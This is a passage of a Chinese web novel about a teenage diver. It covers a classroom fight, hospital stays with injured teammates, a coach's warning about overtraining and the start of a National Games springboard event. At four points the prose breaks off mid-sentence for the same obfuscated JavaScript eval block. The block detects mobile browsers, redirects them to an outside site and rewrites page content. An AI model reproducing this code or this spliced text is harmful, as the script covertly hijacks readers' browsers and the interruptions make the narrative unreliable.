刚才打架，对面那家伙不讲武德就拉他胳膊，这会儿还隐隐约约的疼。 “怎么回事啊？”王青青问。 姜广摇脑袋，“他一过来就踹我，你得问他想干什么？” “你刚来班上，就好好听课，别搞之前十二中那种不入流的圈派架子，我们一中是读书的地方。” 寸头昂着脑袋，一只耳朵进一只耳朵出。这人叫吕远是前两天刚转来的，拖校长的关系塞进班里的，一来就拽的和大爷一样。全班的人都被他明里暗里的欺负过，不听他的就没好果子吃。 仗着关系户的身份，霸道横行。今天被姜广打一顿，班上人全都只觉得大快人心。 这会儿还不服气，眼睛往上翻的比天还高。两人最后被分开，一个东一个西，隔得很远。 但没办法吕远就是个小心眼，下了课立马找姜广麻烦，吊儿郎当的一手插裤兜，一手拿了根木棍，像是耍帅一般地晃着手里的木头。 姜广这个内在29岁的老男孩，看的这幅不良少年的样子就觉得好笑。 幼稚。 这幅不在乎的样子惹的吕远更生气，一棍子直接打在姜广的肩上。 都被欺负到这个份上，姜广也顾不上太多。把棍子抢到自己手上，也不留劲的打了起来。 事情最后还是被捅到了班主任那，最后把两边的家长都给叫来了。 张雅君过来看见姜广鼻青脸肿的，觉得不可思议，她完全想不到自己儿子也会和同学打架。 对方家长也和吕远一个样子，咄咄逼人，还时不时搬出校长这层关系来压张雅君一头。 王青青也理清了来龙去脉，最后认为吕远应该是这起打架事故里的主要过错人，理应要上报学校，记不记过学校会做决定。姜广也还手参与了，也存在小部分过错，就在全班里检讨。 吕远妈妈一听自己儿子记过对方没事，就撒泼打滚在办公室里卖惨，哟呵的很大声，说自己儿子多惨多惨之类的。 要是有耍无赖大赛，姜广会毫不犹豫的把第一名给这一家人。 吕远也气不过，大步流星往前重重地推了姜广一把。 最后，手肘重重的磕在办公室的桌腿上，一点劲儿使不上，疼的厉害。 张雅君见状就破口大骂，和往日里温柔贤惠的时候简直两个样子。 “没事吧？”张雅君皱着眉头问。 姜广摇摇脑袋，尽力挤出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190963|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个笑容，“还行，就是手有点疼。” 这时，张雅君才注意到左手往下垂着，似乎用不上一点力气。 王青青被这混乱的场面搞的焦头烂额，最后张罗着匆匆忙忙才把人往医院送。 最后到医院检查发现是肘关节脱位，复位后就打上了石膏，还好不算太严重，保守治疗基本能恢复，不然就得开刀做手术。 最后说是在骨科住院待几天，看看情况，没问题再出院。 张雅君把人安顿好，大大小小的事都张罗好之后，就又回了学校找吕远那一家子人要个说法。不然，就得去教育局把这校长也端了。 姜广的床位正巧和赵渐鸿一个房，看见对方的时候，两个人都惊讶。 “你怎么了？”赵渐鸿问他。 他摇摇头，“被我们班上一个小混混搞的，手断了。” “啧啧啧，”赵渐鸿摇脑袋，“我还以为是你看我待这儿无聊，特意来陪我呢。” 姜广用右手甩了个枕头过去，“你想的挺美，我这身子可霍霍不了。倒是你，现在不哭了啊？昨天来看你，不是还偷偷抹眼泪呢。” 赵渐鸿嘿嘿两声，轻轻抬了抬自己腿，“我这腿又不是好不了了，有什么好哭的，而且你这个才跳280的都来陪我了，那我就更不难过了哈哈哈哈。” “你这还真是见不得我好是吧。” 赵渐鸿捂着胸口，做出一副悲伤的模样，“你知道的，兄弟的成功会比我失败更难过。” “那跳台还有八个雄厚得后备军呢，我现在就是个小啰啰。” “他们没你厉害，刚刚余教练才来看了我，还顺便给我看了你测试赛的视频，那105做的，多好啊，其他人我都是看着过来的，刚开始可没你这水平。” 姜广笑了笑，“都是运气，没有实力。” 听见这话，赵渐鸿重重地叹了口气，“本来还以为你再多练半年，会有机会代替我去全运会上比赛呢，毕竟你就差多练，半年对你来说足够拿出一套还不错的动作了。” “结果，我们俩都断手断脚的，根本没法跳。” 姜广坐到赵渐鸿的床边，拍了拍对方的后背，“全运会后面还有跳水锦标赛，再后面还有世锦赛，世界杯，比赛的机会多着呢，你还怕出不了头啊。” “谁知道下次比赛前会不会出意外呢？” 姜广连忙给了对方一个大嘴巴子，“别乱说话，天天意外意外的，哪有那么多意外啊。” “嘿嘿，好了，不过你带过去的三米板大神于冈应该能去全运会上夺个牌吧。今天看他的视频，也是很厉害，和其他人都感觉不是一个水平的。” “于哥肯定没问题，到时候我们俩就去台下看比赛。看完了，跑后台去找他要奖牌，摸摸沾沾喜气。” 赵渐鸿偏头竖了个大拇指，眼睛弯弯，“你说的很好，到时候借奖牌来戴戴，感受感受。” “毕竟于哥又不是外人，肯定不会拒绝我们这点要求的。” 12.劳逸结合 姜广在医院待了一下午，好在有赵渐鸿这个大嘴巴，一下午唧唧歪歪就过去了。 学校那边的处理办法也和班主任王青青说的差不多，但张雅君自然是不同意。姜广本来也是好好上课，虽然算不上顶尖的学霸，可成绩怎么说也算的上中等，平白无故被对方一个关系户打了，还给整进医院，这么轻飘飘的解决办法完全没有说服力。 校长也当面和张雅君交涉了，赔礼道歉的，说能出医疗费和赔偿金。目的就是让她看在对方也是个孩子的份上原谅对方。 张雅君的态度也很强硬，不说退学处理，起码这样态度不端正的学生也不应该还放在和姜广一个班上。本身姜广练体育就容易磕磕碰碰，这里伤那里伤的，要是来学校班上还有个隐患，自然没法好好学习。 最后，校长也妥协了，也让对方的家长登门道歉，吕远也被换到了一中的普通班，还被特殊关照安排了一个讲台边上的单人座。 姜广伤了这只左手，实在是属于无妄之灾。余庆丰知道后，就想去庙里拜一拜，给跳水队每个人都求个无事牌，不然还真怕他手下这几个苗子成绩还没跳出来，手脚倒是全伤了。 隔天就是全市联考，姜广唯一值得庆幸的就是，他伤的是左手，右手勉强还能写字，只是只有一只手，怎么都不方便。 原本张雅君是不打算让他去考试的，但他觉得能去考考也好，毕竟考试也是一个检验，看他这学年到底掌握的怎么样。 王青青看他来考试，也嘱咐了很久，说要是没办法坚持，就回家休息，不要强撑。王青青对姜广的印象不算太深，毕竟姜广大部分时间也都在练体育，平时来上课也安安静静的，但成绩倒是也没落下太多。 联考毕竟面向的是全市，考试题目往往会注重基础，中等偏难的题目相对来说比较少。毕竟，市里还有很多教育资源匮乏一些的农村中学。 姜广做这次的卷子其实算是得心应手，唯一的困难就是，只能用一只手很不适应。 考试结束后，姜广办了出院手续，主要在家养伤，定期去医院复查就行。赵渐鸿看他出院回家，还有点难过，毕竟就他一人能陪自己聊天。 跳水队这段时间依旧是正常训练，也许是大运会即将到来的缘故，队里的人感觉都勤奋多了。 对于市跳水队来说，去全运会的名额是有限的，可能每个项目就分的到一两个名额。而对他们来说大运会的比赛成绩，自然是能不能进国家队或者省队的关键。 更别说舟阳市所在的A省，算得上是个体育弱省，体育成绩在全国排不上号，于是A省就没想发展体育。但在跳水这个项目上，A省有舟阳和隔壁几个市的支持下，还能勉强算挤进前几名。 但也是这个原因，舟阳的体育资源算不上好，毕竟省里都不太重视。舟阳和其他几个市都靠市里的援助，跳水这个项目A省的省队也形同虚设，因为省里的教练可能还比不上几个出成绩的市里。 余庆丰也有压力，市里最近几年经济压力也大。其他市都大力发展经济，对于体育这个项目来说，也都愿意去培养华国经久不衰的强项。所以，舟阳市之前愿意发展跳水也是因为之前够强，这几年成绩集中在女子跳台，成绩就不够突出，如果不能全面发展，那经费肯定就难批。 毕竟，余庆丰不久前还向体育局提了建议，说要翻新跳水馆，配套设施要更齐全些。这些都是要花钱的地方，能花多少，就要看队里能出什么样的成绩。 姜广在家闲的无聊，也顺便抽空去了队里，自己做不了训练，就准备去看于冈训练。 起码比闷在家里有意思。 毕竟他那个毒舌系统，这两天回来有空没空吱两声，家里本身非常安静，突然发出的声音能把他吓死。 这系统休了个半年的大长假，姜广平时也是踏踏实实靠自己的力气在训练，没能走一丁点儿捷径。这系统存在感也低，如果不是这几天又突然冒出来，他都忘了这么个事。 “检测到高危风险事项，于冈训练过渡肌肉疲劳，跟腱拉伤断裂可能性90%+，为了舟阳市跳水队的良好发展，想办法阻止伤病发生吧。” 系统声音依旧一如既往的冷淡，其实它也有点后悔自己休了个长假回来，一没看住进度就让队里俩人伤了，这会儿最后一个独苗苗肯定不能出意外。为此，它还骂了顶它班的种田系统一顿，天天不上心就知道摸鱼。 “真的假的。”姜广本身已经在路上了，但听见90+的可能性，还是有些紧张。 系统沉默，“我告诉过你假消息吗？” “那我现在来得及吗？” “今天去都来得及，去找他谈谈吧。” 姜广手心里直冒汗，公交车开的稳，速度不太快，路上每多等一个红灯，他都心跳的厉害。 到队里时，正巧碰到余庆丰把所有人召集在训练馆的大厅里开短会。他悄悄地走到队伍的尾巴，没有声响的插进队伍里。 于冈正巧就在隔壁队伍的末尾，这会儿边听讲话一只手还不停地揉另一只手的手腕，看得出来手腕可能不太舒服。 “手怎么了？”姜广戳了戳认真抬头听讲话的于冈。 于冈这才低头注意到断了只手的姜广，严肃的看着他还打着石膏的左手，“我的手没事，就是有点酸而已，倒是你一天没看住手伤的这么严重。” “我这不是碰到个小混混，有点倒霉。我听说你最近练的有点猛，不是还有时间呢，别练过了。” 于冈摇摇头，“不会。” 姜广说了也没用，无奈地耸耸肩。只好待会儿再观察观察，如果有问题再及时的和教练反应。 余庆丰的讲话内容很简短，核心点就是围绕安全这个话题，说来说去就是不希望再出什么事故了。 紧接着就继续进行训练，这两天天气更冷了些，没再安排水上训练，主要集中在陆上的动作和力量训练。 于冈也是在学新动作，现在的成套都打磨的相对稳定，除了偶尔的瑕疵，没什么大的毛病。但对于男子跳板这个拼难度的项目，其实在难度上还是吃点亏。 想要顺利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202144|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的站上领奖台，还得保证有一个绝对完美的发挥。所以有一到两跳难度系数高一些的动作放进六个动作里，才能在难度上不吃亏。 “身子松了，你转体速度还是有点慢，转体三周，你这个情况肯定做不下来的，别松劲，绷住了。”何企拉着保护绳大声喊。 于冈抿了抿唇，低着脑袋。这次学的是5156B（向前翻腾两周半转体三周屈体）之前成套里没有这个动作，用的是5154B（向前翻腾两周半转体两周屈体），现在这个动作就得多转整整一周，对于走板的准确度和起跳高度都要求很高。 在难度上5156也比5154要高0.5，能练好，那最后成绩上肯定能提升一截。 姜广是坐在边上观摩的，余庆丰这会儿也坐到了他身边。 “手怎么样了？”余庆丰问。 他偏过脑袋，“好很多了，已经不怎么疼了。” “说好测试结束加练的，你这小子我一天没看住就打架去了，胆子是肥了。” “嘿嘿，”他笑着摇脑袋，“没有，余教练我可不是惹事的那个，要是不还手，我估计被揍成猪头了。” 余庆丰心疼地揉了揉他的脑袋，“好了，好好养伤。不过运动员确实要一股子心气儿在，别人欺负到你头上，你不能怵。同样的，到时候比赛了，别人跳的多厉害，多得瑟到你面前，你也不能怕，和打架一样能不能赢都靠真本事。” “知道的，余教练你看于哥的手腕是不是真的感觉发不上力啊，脚踝好像也是，感觉从蹦床上起跳都有点抖，不太稳。” 余庆丰这时候才好好观察了于冈的动作，从起跳开始，就能明显发现于冈发力时整个大腿发力都抖的厉害。在轴承保护带上，转体都转的很沉，感觉就是没劲，绷不住，就往下沉的快。 “先别练了。”余庆丰立马上前说道。 于冈满头大汗地扭过脑袋看着余庆丰，“怎么了，余教练。” “先下来吧。”何企朝他招了招手示意。 “你手和脚是不是不太舒服啊？”余庆丰直入主题。 于冈先是摇摇脑袋，又改主意点了点头，“感觉有点酸胀，我觉得应该不是什么大毛病吧。” 余庆丰给他揉了揉，“你这阵子练太多了，要注意劳逸结合啊，跳水本身就容易伤到脚。” “难怪你今天怎么做都做不好，身体不舒服就要说，为了你好也为了我好。不然我又不知道，给你加练，你不是越来越顶不住？”何企皱着眉头说。 于冈低下头，轻轻应上一声，“我知道了。” 揉了几下，脚踝的地方就肿的厉害，这几天肯定是练不成了，看上去像是有点拉伤的迹象，还是得休息几天。 余庆丰最后做了住，“回去休息吧，动作也急不来，如果真出什么大问题，那可能就是因小失大了。我们还有时间，不用着急的。” 姜广拍了拍于冈的后背，试图调节一下这会儿略微有些沉重的气氛，“于哥，你可不能练过头搞成我这样啊，丑就算了还遭罪。” 13.新年 伤病的出现永远是练体育的人眼里最不想看到的场面，毕竟在练动作时本身就需要通过成千上万次的起跳翻腾才能练出相对稳定的成功率。 于冈在这个阶段上，最保险的做法就是把原本的成套动作做完美，成功率更上一层楼。如果为了更高的难度追求，反而导致意外伤病的发生，那自然是得不偿失的。 舟阳市跳水队目前其实就只有这几个各方面都均衡而且天赋明显高不少的苗子，好不容易就差最后一股气能冒出头了，总不能这时候出差错。 “二月份的省赛，于冈先不去参加了，这段时间就先让他歇一段时间，把年过完了再准备全运会，稳定性上来了他的成绩不会有什么大问题，而且他的心理素质都不错也不会因为大赛经验不足怯场。”余庆丰对何企说。 何企点点头，“我也准备这么安排，不过余导你挖过来的苗子是真的很不错，我有预感我们舟阳啊跳板又要出冠军啦。” “先屏住这口气，可不能半场开香槟啊，还没到庆祝的时候。不过你们男板女台我都不担心了，就是这男台练的我头疼。” “这伦敦周期才刚刚开始，时间还长得很呢。全运会没法上，后面上奥运选拔赛也一个样。” “希望那时候能出成绩吧。” 于冈今天的训练都暂停了，姜广陪着他收拾东西，把衣服换了，才准备回去。 “过几天就过年了，我这考试成绩估计掉到年级后五十了，这个年不好过。”姜广笑着说话，试图打破于冈的低气压。 “你这样都去考试了，还有啥可以骂你的啊。” “也是，他们可都得夸我。” 年前这段时间舟阳的气温也是降得厉害，这会儿又稀稀落落地飘雪。大朵大朵的棉花雪片儿落在两人头发上。 “今天衣服没帽子，可得遭殃了。”姜广撇撇唇角。 于冈从背包里掏出了一顶黑色的毛线帽子，不是市面上时尚潮流的款式，相当朴素，但内里是一层厚厚的绒毛，倒是格外的温暖。 “我奶奶织的，可暖了，我给你戴上，你耳朵冻的感觉都僵了。” “那你呢？” 于冈摆摆手，把自己羽绒服自带的帽子给戴在了头上，“我这衣服上不是有，而且还能把拉链拉上，只露个眼睛呢，一点风都灌不进来。” “谢谢于哥，过年那天晚上你们家要守岁吗？我觉得赵渐鸿那家伙在医院待着太惨了，想去和他一块过，于哥你有什么想法吗？” “那就去陪他呗，别让人大过年的空守病房。” “行，到时候我打你们家电话。” - 年前这几天，各家各户往往都忙碌的很，准备各种年货，大扫除都是必做的事儿。 姜广因为手伤了，在家就像个“废人”，张雅君啥也不让他干。最后还是姜广受不了在家闲出屁的日子，让她给自己找了个家教，补补功课，也不算浪费时间。 系统这时候也没闲着。 搜罗出了一份极为详细的资料，包括目前国际和国内较为出色的跳水运动员。不仅有每个运动员的优缺点，还有动作成套难度和掌握情况。 姜广也当课外书来看，硬生生全都看了个遍。 其实，他看也就是了解了解。他在目前伦敦这个周期大概率也不具备绝对的竞争力，能不能出成绩还得看11年那时候选拔赛的状态。 毕竟，男台就是个卷动作质量，卷动作难度的项目。稳定性和难度缺一不可，不然都不能在国际比赛上具备争夺奖牌的实力。 不过他多看看没坏处，毕竟男台还有赵渐鸿这个种子选手，也能帮队友分析分析。舟阳队里只要有人能出头，对他来说都是好事。 除夕这天是个艳阳天。 鞭炮声响了一早上，客厅里早早就在放拜年的歌，姜广睡了个懒觉，起来时早饭的馒头都有些凉了。 “我们小广诶，今年考试怎么样啊，有没有进年级前一百。”大姑笑着问他。 他摇摇脑袋，“我考试的时候手摔了，题目没写完。” “练体育的就是这点不好，嫂子要不之后不行就别练了吧，这动不动就把手啊脚啊摔坏了，孩子多遭罪啊。” 张雅君端了一盘刚切好的橙子，“孩子喜欢，也愿意吃苦，没法不让他练吧。而且，干什么都苦，哪有轻松的活啊。” “是咯，小广还是个好孩子，吃得了苦，不向我们家那个，一样都不行。” 张雅君摆手，“哪有嘞，孩子都一样的，就只是还没找到自己喜欢的事情。” 姜广也没纠结着继续和各色亲戚打交道，也没什么共同话题，就乖乖地坐边上吃吃喝喝。 他不久前打了个电话给于冈，约好下午带着吃的喝的去医院守着赵渐鸿去。 赵渐鸿父母这两天事情多，平日里也不怎么管赵渐鸿，这两天最开始本想着接回家休息两天应该没事，但前两天复查发现恢复的很慢，回家也怕磕了碰了再加重了腿的伤势，所以最后还是赵渐鸿一个人在医院里养病。 午饭吃的也早，姜广他们家看重的是晚饭，中饭往往用一顿火锅就凑合过去了。晚上就得十大碗，鸡鸭鱼肉全都得上齐咯。 家里的亲戚也都聚集在他们家一块过这个年，所以除夕晚上也往往都是他们家里最热闹的日子。 姜广一开始说不在家吃晚饭，张雅君还有点犹豫，但后面也同意了，毕竟赵渐鸿在医院过年确实需要有朋友陪着。 张雅君也中午就提前忙络着包了一盘饺子，赶在姜广出门前才煮好放在保温饭盒里。 姜广是带了整整一背包吃的喝的出门的，背包很沉。姜肃送他去医院，提了提都笑着问他是不是把家给搬空了。 除夕的医院倒显得寂静很多，但急诊那边倒没闲下来，往往这个时间都有许多玩爆竹炸到自己的小朋友。住院部倒是比平常安静不少，陪护的大多也回家了，进去看见的就是稀稀拉拉几个值班的护士。 于冈比姜广到的早多了，没去病房里，特意等他到了才一块进去。 姜广他到的时候，特意让姜肃把背包挂在自己肩膀上，没让一块过来，毕竟赵渐鸿的父母都不在，这时候姜肃跑过去免不了让赵渐鸿难受。 “于哥，你带了什么？”他指着自己鼓鼓囊囊的背包问。 于冈同样指了指自己身后的一大袋子吃的，“这呢。” “我没告诉赵渐鸿，他不会看见我们就哭吧。” “那就抱抱他，没人想大过年的在医院里过，搁谁身上都难过。” 病房里这会儿静悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221820|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，几乎没有声音，赵渐鸿躺着，闭着眼睛，看上去像是在休息。病床旁的饭盒打开了，但看上去几乎没吃几口。 两人是准备踮着脚进去的，但推门时老旧的门依旧发出了嘎吱的声响，第一时间赵渐鸿就往门边看。 “你们怎么来了。”赵渐鸿眼角微微发红，声音很轻，听上去微微有些哽咽。 姜广卖力的把包放在旁边的空床铺上，“有点沉，我这单臂还真有点不方便。” 紧接着又从包里拿出那盒张雅君刚煮过的饺子，“你是不是没怎么吃饭，我就是过来督促你的，这饺子刚煮好，可还热着呢。” 于冈也朝着赵渐鸿点点头。 “我还以为今天不会有人过来呢。”赵渐鸿说着就悄悄揉了揉眼睛，试图擦去充盈在眼底的泪。 “谁会把你忘了，你之前偷拍我丑照，我都还记着呢。” 赵渐鸿没忍住笑出声，“就一张而已，你还记着，小心眼啊。” “快把饺子吃了，我就当忘了。” 两人带的东西都多，各色各样的只要赵渐鸿能吃的都带了点，还带了俩游戏机给他解闷用。 病房里有一台小小的电视机，除夕没什么好看的节目，赵渐鸿之前就关了，这会儿有人陪就打开边吃东西，边看节目。 “本来下个月不是有省赛，但我们仨都没法去了。”姜广说道。 赵渐鸿瞪大眼睛，“为什么啊，于哥这为什么不能去。” “别提了，要不是那天我跑去看他训练，可得把自己练伤了。” 赵渐鸿拍拍于冈的背，“于哥，你可不能出事啊，我们俩就想着到时候拿你的奖牌沾沾喜气呢。” “没事了，都休息好多天了。” “你说我把石膏拆了之后，休息一阵子，有没有机会再去全运会啊。”赵渐鸿满怀期待的问。 姜广一口回绝，“你可别，十米台什么冲击力，你不知道吗？” “还挺不甘心的。” “别担心，等你恢复好了，我努努力够一够，说不定我们能有机会配个双人呢，到时候再上奥运选拔上一鸣惊人，和在全运会比赛也都差不多。” 赵渐鸿笑道，“这么自信啊。” “到时候你再带带我也不是没可能的事啊。” “你俩肯定能行。”于冈颇为认真的看着面前的人。 有人一块聊天，时间都过得很快。赵渐鸿的病房有个小小的阳台，住院部在医院的最后方，前面有一大片空地，是推平了准备扩建用的。 现在站在阳台上视野就格外的开阔。 到了晚上，赵渐鸿让值班护士多订了几份盒饭。可能是除夕的缘故，每份都额外多加了几个饺子。 虽然是盒饭，几人吃的也乐呵。房间里电视正放着春晚，虽然只有他们仨，也完全不觉得冷清。 九点一刻。 舟阳市开始放大大小小的烟火，于冈找护士借了个轮椅，把赵渐鸿推到了阳台边上，狭窄的阳台被他们仨填满。 “今年的烟花还真好看。”姜广感叹。 赵渐鸿点头，“也没想到，这里的视野看烟花还刚刚好。” “那我们许个新年愿望吧。” “保佑我们新的一年平平安安，站上大赛领奖台。” 14.全运会 全运会是在七月中旬，恰逢舟阳最热的时候，今年举办地是齐省，A省跳水每个项目的名额一共拿到了大概七八个，每个市也就优中选优的才能有机会参赛。 舟阳市的跳水在省里还算强项，自然还能分两三个名额。赵渐鸿二月份出院，到七月中也一直在康复训练，脚的伤还是会影响日常生活，全运会的比赛他想去也没法去。 男台最后是三次队测的综合排名前二去比赛，男女板和女台则是看稳定性和成绩区间，挑了几个上限高，但稳定性也不差的。 于冈也算是男板里的种子选手，自从那天险先受伤后，何教练的训练也谨慎不少。但于冈也不愿意就松了劲儿，还是把5156这个动作给咬下来了。 参加比赛是有经费限制的，舟阳的体育拨款本就不富裕，所以除了参赛选手和教练，其他人基本上也没机会去现场。 姜广手肘的伤好了之后，也训练了一两个月，但频次比从前会低不少，余庆丰也没想一步登天，自然就还是抓基础，难度没上，就把之前学过的动作尽量在陆上做就能养成肌肉记忆。 “鸿大哥，有没有打算去齐鲁看比赛去。”姜广拍了拍在公交车上呼呼大睡的赵渐鸿。 赵渐鸿懵懵的，抬手揉了揉眼睛，“你说去哪啊？” “去看全运会。” “我们没法去吧，不是只有他们参赛的才去吗，我俩只能在队里继续训练。” 姜广摇摇脑袋，拍拍对方的手掌，“你怎么不知道变通啊，我又没说用队里的名额公费去看比赛。我们自己去呗，坐火车，我看过了两天就到了，去那边找个旅馆住两天，也花不了多少钱。” “我怎么没想到呢，你爸妈让你去吗？” “不知道呢，他们应该不会拒绝的吧，毕竟我也这么大了，又不是小毛孩儿。” 赵渐鸿点点头，“那就行，反正我爸妈也没时间管我，我到时候多要点钱和你一块去嘿嘿。” 姜广最后也是费了好大劲才说服张雅君允许自己去看比赛，本身张雅君还想一块去，但姜肃也说这个年纪也该锻炼锻炼。这样姜广才顺利踏上去齐市的火车。 于冈他们是早了一段时间就过去了，因为要在比赛场地进行赛前训练，熟悉熟悉场地，到正式比赛也不会太紧张。 七月中旬正是学生的暑假，出门的人都多，火车票都是一票难求的。姜广也是和赵渐鸿在火车站售票厅提前一晚排了一整夜队，才勉强买到两张硬座。 好在他俩心态都好，硬座也没嫌弃，反而觉得他们能顺利到达就是幸运儿了。 “十米台是今天这两天比，我们也赶不上，只能去看于哥的三米板了。不过好在跳水没啥人知道，门票好买。”姜广从包里掏出两个黑米面包递给了赵渐鸿一个。 “什么比赛不是看啊，反正我俩就都是坐看台的观众，男板也很激烈的，听说我们隔壁B省也有好几个能跳500分的呢。” “这么牛，稳定500分吗？” 赵渐鸿摇摇脑袋，“不清楚，但是听说他们当时省赛有上500分的。” “你从哪知道的。” “嘿嘿，”赵渐鸿唇角笑笑，“你不上网的吗？家里电脑当摆件用的啊，有一种渠道叫论坛你知不知道，跳水论坛哪个省的人都有，还很多都是爱好者或者运动员，消息肯定灵通啊。” 姜广抱了抱拳，“果然还是我们赵渐鸿大哥厉害。” 绿皮火车的速度不快，停的站点也多，车厢也吵的很。赵渐鸿吃了个面包就靠着姜广睡着了。姜广被噪音吵的头疼，只好戴了个耳机用mp3听歌。 到齐省的时间是下午五点，还有公交车。跳水场馆是在城西的游泳馆，距离市中心有些远，几乎已经是靠近郊区的位置。 边上几公里是东陵镇，虽不是很发达但靠在市区边上，发展的也都还不错。姜广他们也顺势就坐公交到了东陵，因为这儿不是旅游景区，人不多，旅馆的价格也不贵。 姜广他们俩其实也没太高的要求，能凑合待两晚就行。 隔天一早。 跳水的比赛是早上九点开始，先是预赛，下午紧接着半决赛，直到第二天才会是决赛。 男子三米板这次参赛选手一共有三十五名，各个身份的都有，舟阳市这次参赛的就是于冈和另一名资历更深一些的刘子瑜，在队测里两个人得分都能跳450分以上，但最近于冈难度加了一些，总分上限能更高一些。 观众进场的时间会更早，因为跳水算不上热门项目，看台上的人也稀稀拉拉的，还有很大一片是各省的运动员团队。 姜广他们没机会进后场，也就只能在看台上等待运动员进场。 九点整运动员便开始入场，入场的顺序就是比赛顺序，赛前已经抽签决定了。半决赛和决赛则是用上一场比赛的排名倒序来决定最后的出场位次。 “于哥人呢。”赵渐鸿伸着脖子四处找人。 姜广也顺着进场人群看，“那呢，没看见黑色外套那个。” “看到了，看起来于哥也不紧张啊，心态挺好。毕竟全运会还有去年刚上过奥运的齐亮和陈述和他们一起比赛，还挺多高手的。” “没事，于哥上回训练动作难度加起来也挺高的，虽然还差了一点，但也没差太多。估计就差了个一分的难度，完成度肯定不会太差还是有很大希望的。” 赵渐鸿点头，“听说齐亮和陈述从奥运会比赛之后，虽然包揽了金牌和铜牌，但是回来之后状态都不是太好，训练好像都有点问题。” “没关系，希望于哥别想太多就跳自己的吧。” 运动员入场完毕之后，简单的赛前热身后，比赛就紧接着开始了。 第一名出场的是来自G省的何步，选择的动作是407C（向内翻腾三周半抱膝）。看台的距离比较远，基本上只能看到一个大致的水准。 姜广和赵渐鸿都盯的是场地上方的大屏幕，这样每个环节的细节也都不会错过。 4组的动作在跳板上也是立定起跳，所以想要获得足够高的起跳高度，就必须有一个强有力的起跳动作。如果高度不够，可能翻腾三周半就会比较急促，最后入水的角度和位置都会有比较大的偏差。 何步起跳就很着急，下蹲的动作不到位，没有借助到板的弹性，起跳很仓促，最近入水很勉强。 “有点可惜，感觉他第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234862|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来太紧张了。”赵渐鸿叹了口气。 于冈是第五位出场的，前面四个第一跳都或多或少的有一些瑕疵。他上场前也没关注分数排名，脑子里都是动作要领。 “A省舟阳，于冈，5154B向前翻腾两周半转体两周屈体” 广播声播报时，姜广和赵渐鸿都默默看向大屏幕，心底里紧张的很，手心里不知不觉就布满了细汗。 于冈的成套动作选择了两个5组的转体动作，分别是5154B和5156B，原本用的是5337D但反身的组别于冈失误率会高一些，所以于冈最后就咬牙把5156学会了替换了5337。 向前组别需要走板，走板是一个很考验运动员整体能力的环节，出现偏差后续整个环节都会进行调整，就会加大动作失误的概率。 跳水发号令响起时，于冈刚调整好跳板的软硬度。紧接着便开始自己的第一个跳水动作，向前走板，起跳，翻腾，转体到最后的入水，几乎是一气呵成。 只不过起跳还是有一点点瑕疵，脚趾踩到了跳板的外面，但整个过程调整的很快，没受到什么影响。 最后实得分是三个8.5，总和乘以难度系数3.4，得分是86.70分。理所应当地排在了目前出场的选手中的第一位。 “我还能说什么。”赵渐鸿用力鼓掌，“这不上领奖台，肯定不合适吧。” “开了个好头啊，这入水真的厉害，要是我估计就摔水里了。”姜广笑笑。 等待第一轮全部结束后，奥运冠军齐亮的第一跳407C发挥的无可挑剔，实得分全部上了9分，最后拿了91.8，排在第一位。 陈述则和于冈同样得到86.7分并列第二的位置，整体来说前十的选手分差都很少，都在十分以内，可以说还几乎处于同一起跑线上。 于冈的第二跳是三组反身的动作，他成套中比较大的难点，307C（反身翻腾三周半抱膝）难度系数3.5。 如果想要顺利站上领奖台，这个动作起码要完成分在8以上，不然失误太大就不太容易把分数追上来。 现场在发号令响起后，安静的几乎没有多余的说话声。 走板，起跳。 高度依旧非常不错，但翻腾速度太快，打开入水角度偏差的比较明显，水花压不住，都沿着脚尖溅出来了。 跳完之后，于冈也皱了皱眉头。 最后实得分是两个6一个6.5，总分是64.75，不算是一个可观的分数。但好在还是初赛，还有时间适应比赛的节奏，只要能顺利晋级就可以。 “感觉跳板真的太容易失误了，走板偏一点身子就会歪，做动作就容易做过了。” 姜广跟着附和，“确实，不过没事反正才第二跳而已，后面除了5156于哥基本上没难点了。” 